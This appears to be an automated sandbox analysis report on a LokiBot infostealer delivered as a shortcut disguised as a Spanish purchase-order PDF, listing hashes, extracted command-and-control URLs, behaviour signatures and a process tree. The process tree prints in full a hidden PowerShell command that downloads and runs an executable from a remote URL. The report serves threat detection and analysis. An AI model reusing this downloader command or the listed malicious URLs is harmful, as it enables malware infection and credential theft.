Analysis
-
max time kernel
126s -
max time network
142s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
27-11-2024 18:15
Static task
static1
Behavioral task
behavioral1
Sample
ORDEN DE COMPRA.pdf.lnk
Resource
win7-20240903-en
General
-
Target
ORDEN DE COMPRA.pdf.lnk
-
Size
2KB
-
MD5
3efc7482d963e194a7524ea6918c0912
-
SHA1
d24544bc9eca9b444aa471409f6f60c49e8ca88b
-
SHA256
6ad3893d400a4e64de9042bd306b8d346e89f2966d417ee431ceb635e7e608b3
-
SHA512
6b41f1efa74f1655b60ca1bbd4e5831c1e6f314aa87f5af86ab3818f4dde9d551bab95ed58b7f267da8accc9cede878ea1b147345c0ee9111368e8f34364bcf7
Malware Config
Extracted
https://www.sodiumlaurethsulfatedesyroyer.com/osingkjbxfd/agerfwearfwerfdfhsrarytrswerthdyttyfuiuoifjcghhbg/gefghdhjsdxghshnytrghdhfghsgbuhihtrgeyt/sdhtfjysdfhdyujujtryh3rthyer/gvndxfghs.exe
Extracted
lokibot
http://naturealmikaly.sytes.net:4409/aujfygidj/five/fre.php
http://kbfvzoboss.bid/alien/fre.php
http://alphastand.trade/alien/fre.php
http://alphastand.win/alien/fre.php
http://alphastand.top/alien/fre.php
Signatures
-
Lokibot family
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid Process 9 3968 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation cmd.exe -
Executes dropped EXE 4 IoCs
Processes:
cisencb.execisencb.execisencb.execisencb.exepid Process 1248 cisencb.exe 1012 cisencb.exe 2456 cisencb.exe 4384 cisencb.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
cisencb.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook cisencb.exe Key opened \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook cisencb.exe Key opened \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook cisencb.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
cisencb.exedescription pid Process procid_target PID 1248 set thread context of 1012 1248 cisencb.exe 86 PID 1248 set thread context of 2456 1248 cisencb.exe 87 PID 1248 set thread context of 4384 1248 cisencb.exe 89 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target Process procid_target 4228 1012 WerFault.exe 86 -
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
cisencb.execisencb.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cisencb.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cisencb.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid Process 3968 powershell.exe 3968 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.execisencb.execisencb.exedescription pid Process Token: SeDebugPrivilege 3968 powershell.exe Token: SeDebugPrivilege 1248 cisencb.exe Token: SeDebugPrivilege 4384 cisencb.exe -
Suspicious use of WriteProcessMemory 32 IoCs
Processes:
cmd.exepowershell.execisencb.exedescription pid Process procid_target PID 3364 wrote to memory of 3968 3364 cmd.exe 84 PID 3364 wrote to memory of 3968 3364 cmd.exe 84 PID 3968 wrote to memory of 1248 3968 powershell.exe 85 PID 3968 wrote to memory of 1248 3968 powershell.exe 85 PID 3968 wrote to memory of 1248 3968 powershell.exe 85 PID 1248 wrote to memory of 1012 1248 cisencb.exe 86 PID 1248 wrote to memory of 1012 1248 cisencb.exe 86 PID 1248 wrote to memory of 1012 1248 cisencb.exe 86 PID 1248 wrote to memory of 1012 1248 cisencb.exe 86 PID 1248 wrote to memory of 1012 1248 cisencb.exe 86 PID 1248 wrote to memory of 1012 1248 cisencb.exe 86 PID 1248 wrote to memory of 1012 1248 cisencb.exe 86 PID 1248 wrote to memory of 1012 1248 cisencb.exe 86 PID 1248 wrote to memory of 1012 1248 cisencb.exe 86 PID 1248 wrote to memory of 2456 1248 cisencb.exe 87 PID 1248 wrote to memory of 2456 1248 cisencb.exe 87 PID 1248 wrote to memory of 2456 1248 cisencb.exe 87 PID 1248 wrote to memory of 2456 1248 cisencb.exe 87 PID 1248 wrote to memory of 2456 1248 cisencb.exe 87 PID 1248 wrote to memory of 2456 1248 cisencb.exe 87 PID 1248 wrote to memory of 2456 1248 cisencb.exe 87 PID 1248 wrote to memory of 2456 1248 cisencb.exe 87 PID 1248 wrote to memory of 2456 1248 cisencb.exe 87 PID 1248 wrote to memory of 4384 1248 cisencb.exe 89 PID 1248 wrote to memory of 4384 1248 cisencb.exe 89 PID 1248 wrote to memory of 4384 1248 cisencb.exe 89 PID 1248 wrote to memory of 4384 1248 cisencb.exe 89 PID 1248 wrote to memory of 4384 1248 cisencb.exe 89 PID 1248 wrote to memory of 4384 1248 cisencb.exe 89 PID 1248 wrote to memory of 4384 1248 cisencb.exe 89 PID 1248 wrote to memory of 4384 1248 cisencb.exe 89 PID 1248 wrote to memory of 4384 1248 cisencb.exe 89 -
outlook_office_path 1 IoCs
Processes:
cisencb.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook cisencb.exe -
outlook_win_path 1 IoCs
Processes:
cisencb.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook cisencb.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\ORDEN DE COMPRA.pdf.lnk"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3364 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hiDdEN Hiddden -Command dssec.dat;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/osingkjbxfd/agerfwearfwerfdfhsrarytrswerthdyttyfuiuoifjcghhbg/gefghdhjsdxghshnytrghdhfghsgbuhihtrgeyt/sdhtfjysdfhdyujujtryh3rthyer/gvndxfghs.exe','cisencb.exe');./'cisencb.exe';(get-item 'cisencb.exe').Attributes += 'Hidden';2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3968 -
C:\Users\Admin\AppData\Local\Temp\cisencb.exe"C:\Users\Admin\AppData\Local\Temp\cisencb.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1248 -
C:\Users\Admin\AppData\Local\Temp\cisencb.exeC:\Users\Admin\AppData\Local\Temp\cisencb.exe4⤵
- Executes dropped EXE
PID:1012 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1012 -s 125⤵
- Program crash
PID:4228
-
-
-
C:\Users\Admin\AppData\Local\Temp\cisencb.exeC:\Users\Admin\AppData\Local\Temp\cisencb.exe4⤵
- Executes dropped EXE
PID:2456
-
-
C:\Users\Admin\AppData\Local\Temp\cisencb.exeC:\Users\Admin\AppData\Local\Temp\cisencb.exe4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4384
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1012 -ip 10121⤵PID:3304
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
273KB
MD5bf5fe4b1c9bbb595dc629e682b855f92
SHA1c2a6edba232a4c56e2c42581380fac5805ba44f7
SHA2569d2c842f90bb71d27073bc5c3399bab03bd00f3968c604835617b2bf0d59f0d3
SHA512cef15770970546152047c458611a25fa6cfa717ece5f47da84924f4f3f1e91943382ff7131c43a6a522b345f9438f3145fe17b30c61c2b82dedc2e5068bb5cb4
-
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-940901362-3608833189-1915618603-1000\0f5007522459c86e95ffcc62f32308f1_f2cdb6fb-4ab8-4547-9f25-fad1f7a44351
Filesize46B
MD5d898504a722bff1524134c6ab6a5eaa5
SHA1e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA51226a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61
-
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-940901362-3608833189-1915618603-1000\0f5007522459c86e95ffcc62f32308f1_f2cdb6fb-4ab8-4547-9f25-fad1f7a44351
Filesize46B
MD5c07225d4e7d01d31042965f048728a0a
SHA169d70b340fd9f44c89adb9a2278df84faa9906b7
SHA2568c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA51223d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b